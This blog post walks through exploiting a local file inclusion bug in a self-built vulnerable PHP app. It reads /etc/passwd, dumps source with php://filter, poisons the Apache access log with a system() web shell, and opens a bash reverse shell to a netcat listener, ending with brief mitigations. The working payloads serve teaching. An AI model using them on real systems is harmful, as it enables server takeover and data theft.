From PHP local file inclusion vulnerability to remote code execution

Posted on Aug 6, 2024

A Local File Inclusion (LFI) vulnerability arises when a web application allows an attacker to include files from the server’s filesystem. This can potentially expose sensitive information or serve as a gateway for more severe attacks, such as Remote Code Execution (RCE).

In this post, we will delve into LFI vulnerabilities specifically in the context of PHP, a popular general-purpose scripting language that is especially suited to web development. Many seasoned developers have worked with PHP, appreciating its simplicity and expressive syntax. However, these same features can sometimes lead to security oversights.

Repository with source code can be found here. Try not checking source code before you are done with this post.

Identifying LFI

First thing we have to do is to check the website homepage. I’ll be using curl because I know page is simple and it’s easier to showcase the process inside a blog post, rather than using browser screenshots.

alesbrelih.sec on  main [!+]
❯ curl -v localhost:8080
* Host localhost:8080 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8080...
* Connected to localhost (::1) port 8080
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.6.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 06 Aug 2024 11:08:47 GMT
< Server: Apache/2.4.61 (Debian)
< X-Powered-By: PHP/8.3.10
< Vary: Accept-Encoding
< Content-Length: 315
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html>

<head>
        <title>Home Page</title>
</head>

<body>
        <h1>Welcome to the Home Page</h1>
        <p>This is the home page of our vulnerable PHP application. You can navigate to the About page using the link below:</p>
        <ul>
                <li><a href="index.php?page=about">About Us</a></li>
        </ul>
</body>

</html>
* Connection #0 to host localhost left intact

I’ve used -v to enable verbose output because I’m interested in response headers as well. We can see that this application is using Apache and PHP.

Inside homepage response we see a link pointing to another page. Lets check it:

alesbrelih.sec on  main [!+]
❯ curl 'localhost:8080/index.php?page=about'
<!DOCTYPE html>
<html>

<head>
        <title>About Page</title>
</head>

<body>
        <h1>About Us</h1>
        <p>
                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris ultricies arcu quis sapien lobortis varius. In vestibulum nunc sit amet elit fringilla, non interdum mauris tempor. Vestibulum eu condimentum massa, tincidunt volutpat purus. Fusce dignissim sed mi vel posuere. Aenean ultricies dui finibus, convallis metus et, volutpat enim. Maecenas placerat metus id commodo sagittis. Nullam cursus, ex id faucibus tincidunt, augue tortor ullamcorper neque, id posuere purus neque a justo.

                Vivamus in luctus ante. Donec sem arcu, molestie vitae nisi in, eleifend tincidunt lorem. Maecenas vel ligula efficitur, viverra odio non, varius dui. Nullam leo sapien, bibendum sed justo eu, elementum efficitur risus. Cras dictum consequat turpis, in bibendum est auctor quis. Aenean ligula felis, molestie eu risus ac, finibus blandit dolor. Fusce libero ante, hendrerit vitae condimentum a, pulvinar sit amet augue. Donec posuere vel odio sed venenatis. Quisque fermentum, diam ac tincidunt mollis, eros tellus pretium magna, at condimentum felis felis sit amet libero. Suspendisse potenti. Nullam eget commodo nulla, vel porttitor eros. Nullam ipsum enim, dictum eu magna non, eleifend tempor enim.
        </p>
</body>

</html>

This response isn’t really useful, but we can see that navigation is done by passing page query parameter.

Because we know backend uses PHP we can hope that was implemented using the include function.

LFI exploitation

Everytime I supppect there might be a LFI, I try to read /etc/passwd:

alesbrelih.sec on  main [!+]
❯ curl 'localhost:8080/index.php?page=/etc/passwd'
<br />
<b>Warning</b>:  include(/etc/passwd.php): Failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>5</b><br />
<br />
<b>Warning</b>:  include(): Failed opening '/etc/passwd.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>5</b><br />

Nice! We potentially have a LFI, we just need to remove that .php extension which seems to be added automatically. As I said PHP is really simple, so I’m wondering what will happen if a add null byte (%00) string terminator. Basically I want PHP include to read string before the null byte and discard the extension.

alesbrelih.sec on  main [!+]
❯ curl 'localhost:8080/index.php?page=/etc/passwd%00'
<br />
<b>Warning</b>:  include(): Failed opening '/etc/passwd' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>5</b><br />

Seems like the PHP version that is being used sadly isn’t vulnerable to null byte terminations.

Can we do anything else or are we defeated?

PHP streams

The php:// stream wrapper in PHP is a special wrapper that provides access to various streams. It is part of PHP’s stream infrastructure, which allows reading from and writing to various types of data streams.

If you used php://input to read POST request body, you have used PHP stream wrapper. More on streams you can read here.

I won’t go through all of the streams, because I’ll just focus on php://filter.

According to the docs:

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening.

There are multiple filters we can use.

Back to exploiting

By leveraging php://filter, we can encode file contents into base64, making it possible to bypass certain restrictions and retrieve sensitive information:

alesbrelih.sec on  main [!+]
❯ curl 'localhost:8080/index.php?page=php://filter/convert.base64-encode/resource=index'
PD9waHAKLy8gU2ltcGxlIExGSSB2dWxuZXJhYmlsaXR5IGV4YW1wbGUKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8/ICdob21lJzsKJGV4dCA9ICRfR0VUWydleHQnXSA/PyAnLnBocCc7CmluY2x1ZGUoJHBhZ2UgLiAkZXh0KTsK%

Success!

After decoding:

echo 'PD9waHAKLy8gU2ltcGxlIExGSSB2dWxuZXJhYmlsaXR5IGV4YW1wbGUKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8/ICdob21lJzsKJGV4dCA9ICRfR0VUWydleHQnXSA/PyAnLnBocCc7CmluY2x1ZGUoJHBhZ2UgLiAkZXh0KTsK' | base64 -d
<?php
// Simple LFI vulnerability example
$page = $_GET['page'] ?? 'home';
$ext = $_GET['ext'] ?? '.php';
include($page . $ext);

We see that we can control the extension that is being used. Lets try to read /etc/passwd again!


alesbrelih.sec on  main [!+]
❯ curl 'localhost:8080/index.php?page=/etc/passwd&ext='

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

Tada! We have access to /etc/passwd!

Log poisioning

Even though we have access to files on the server we are not happy. It’s much easier to navigate using shell!

But can we get it?

Before I start lets just talk a bit about log poisoning.

Log poisoning or Log injection is a technique that allows the attacker to tamper with the log file contents like inserting the malicious code to the server logs to execute commands remotely or to get a reverse shell. It will work only when the application is already vulnerable to LFI.

So with attack vector known lets navigate our way through.

First we need to check our access logs and see what gets logged. Because we know the website is hosted on apache we can predict log location: /var/log/{httpd/apache2}/access.log.

Using the LFI:

alesbrelih.sec on  main [!+]
❯ curl 'localhost:8080/index.php?page=/var/log/apache2/access.log&ext='

192.168.229.1 - - [06/Aug/2024:12:08:01 +0000] "GET /index.php?page=/var/log/httpd/access.log&ext= HTTP/1.1" 200 551 "-" "curl/8.6.0"

We see that both URL and user agent gets logged. Can we exploit this? Normally URL gets URL encoded and would potentially break the log injection, meaning User-Agent should be a good candidate to use:

alesbrelih.sec on  main [!+]
❯ curl -H "User-Agent: DoesThisWork?"  'localhost:8080/index.php?page=/var/log/apache2/access.log&ext='

192.168.229.1 - - [06/Aug/2024:12:08:01 +0000] "GET /index.php?page=/var/log/httpd/access.log&ext= HTTP/1.1" 200 551 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:08:12 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 332 "-" "curl/8.6.0"

alesbrelih.sec on  main [!+]
❯ curl -H "User-Agent: DoesThisWork?"  'localhost:8080/index.php?page=/var/log/apache2/access.log&ext='

192.168.229.1 - - [06/Aug/2024:12:08:01 +0000] "GET /index.php?page=/var/log/httpd/access.log&ext= HTTP/1.1" 200 551 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:08:12 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 332 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:12:47 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 468 "-" "DoesThisWork?"

As suspected we can manipulate log as we want!

Wait but what is our plan? :

  1. we inject PHP code to access.log
  2. using LFI we include access.log
  3. include will evaluate PHP code inside access.log
  4. profit!

Ok so now we need php code that will be evaluated:


alesbrelih.sec on  main [!+] took 12s
❯ curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>"  'localhost:8080/index.php?page=/var/log/apache2/access.log&ext=&'

192.168.229.1 - - [06/Aug/2024:12:08:01 +0000] "GET /index.php?page=/var/log/httpd/access.log&ext= HTTP/1.1" 200 551 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:08:12 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 332 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:12:47 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 468 "-" "DoesThisWork?"
192.168.229.1 - - [06/Aug/2024:12:12:50 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 607 "-" "DoesThisWork?"

I’ve added system call that evaluates anything that gets passed as cmd query parameter. I could hardcode this command but I prefer it this way so I can show what is going on.

Lets check what happens!

alesbrelih.sec on  main [!+]
❯ curl 'localhost:8080/index.php?page=/var/log/apache2/access.log&ext='

192.168.229.1 - - [06/Aug/2024:12:08:01 +0000] "GET /index.php?page=/var/log/httpd/access.log&ext= HTTP/1.1" 200 551 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:08:12 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 332 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:12:47 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 468 "-" "DoesThisWork?"
192.168.229.1 - - [06/Aug/2024:12:12:50 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 607 "-" "DoesThisWork?"
192.168.229.1 - - [06/Aug/2024:12:20:15 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext=& HTTP/1.1" 200 746 "-" "<br />
<b>Warning</b>:  Undefined array key "cmd" in <b>/var/log/apache2/access.log</b> on line <b>5</b><br />
<br />
<b>Deprecated</b>:  system(): Passing null to parameter #1 ($command) of type string is deprecated in <b>/var/log/apache2/access.log</b> on line <b>5</b><br />
<br />
<b>Fatal error</b>:  Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /var/log/apache2/access.log:5
Stack trace:
#0 /var/log/apache2/access.log(5): system('')
#1 /var/www/html/index.php(5): include('/var/log/apache...')
#2 {main}
  thrown in <b>/var/log/apache2/access.log</b> on line <b>5</b><br />

We get an error. But a good kind of error! What happens under the hood is that PHP includes access.log, it evaluates PHP code and then returns access.log with evaluated PHP code.

Lets try listing files:

alesbrelih.sec on  main [!+]
❯ curl 'localhost:8080/index.php?page=/var/log/apache2/access.log&ext=&cmd=ls'

192.168.229.1 - - [06/Aug/2024:12:08:01 +0000] "GET /index.php?page=/var/log/httpd/access.log&ext= HTTP/1.1" 200 551 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:08:12 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 332 "-" "curl/8.6.0"
192.168.229.1 - - [06/Aug/2024:12:12:47 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 468 "-" "DoesThisWork?"
192.168.229.1 - - [06/Aug/2024:12:12:50 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 607 "-" "DoesThisWork?"
192.168.229.1 - - [06/Aug/2024:12:20:15 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext=& HTTP/1.1" 200 746 "-" "404.php
about.php
home.php
index.php
"
192.168.229.1 - - [06/Aug/2024:12:21:56 +0000] "GET /index.php?page=/var/log/apache2/access.log&ext= HTTP/1.1" 200 1481 "-" "curl/8.6.0"

Works! Now for the final touch lets get a shell! Reverse shell more exactly. So we will make PHP spawn shell that will connect to our listener.

There are multiple steps to follow. Also I will be using docker setup because I don’t have nc (netcat) on this machine.

  1. Create a nc listener that will catch reverse shell:
alesbrelih.sec on  main [!+]
❯ docker run -it --name listener --rm alpine nc -nlvp 53
listening on [::]:53 ...
  1. Find out my listener IP:
alesbrelih.sec on  main [!+]
❯ docker inspect listener | grep -i ipaddress
            "SecondaryIPAddresses": null,
            "IPAddress": "192.168.215.2",
                    "IPAddress": "192.168.215.2",
  1. Prepare reverse shell code. This can be done by visiting revshells. I’ve choose the php variation (you can try others).
php -r '$sock=fsockopen("192.168.215.2",53);shell_exec("/bin/bash <&3 >&3 2>&3");'
  1. URL encode the payload using URLEncoder or use any other method to achieve this:
php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.215.2%22%2C53%29%3Bshell_exec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
  1. Finally, we use curl to execute the payload, which connects back to our listener and provides us with a remote shell.
alesbrelih.sec on  main [!+] took 8s
❯ curl -G 'localhost:8080/index.php?page=/var/log/apache2/access.log&ext=' --data-urlencode 'php -r \'$sock=fsockopen("192.168.215.2",53);shell_exec("/bin/bash <&3 >&3 2>&3");\''
  1. Back to our listener:
alesbrelih.sec on  main [!+] took 28s
❯ docker run -it --name listener --rm alpine nc -nlvp 53
listening on [::]:53 ...
connect to [::ffff:192.168.215.2]:53 from [::ffff:192.168.215.1]:36954 ([::ffff:192.168.215.1]:36954)
whoami
www-data
ls
404.php
about.php
home.php
index.php

We got a shell! And that is a wrap!

Mitigations

The scenario I’ve mentioned is made up and tailored to my needs, but quite probable with some old PHP websites.

There are multiple mitigations that would prevent this scenario:

  • if you really need to use include with user passed parameter, use sanitization and whitelisting
  • security features like open_basedir in PHP can limit the file system access, reducing the risk of exploitation."

Conclusion

In this post, we demonstrated how an LFI vulnerability in a PHP application can be exploited to achieve Remote Code Execution. We covered the steps from identifying the vulnerability, using PHP streams, to exploiting log poisoning for code execution.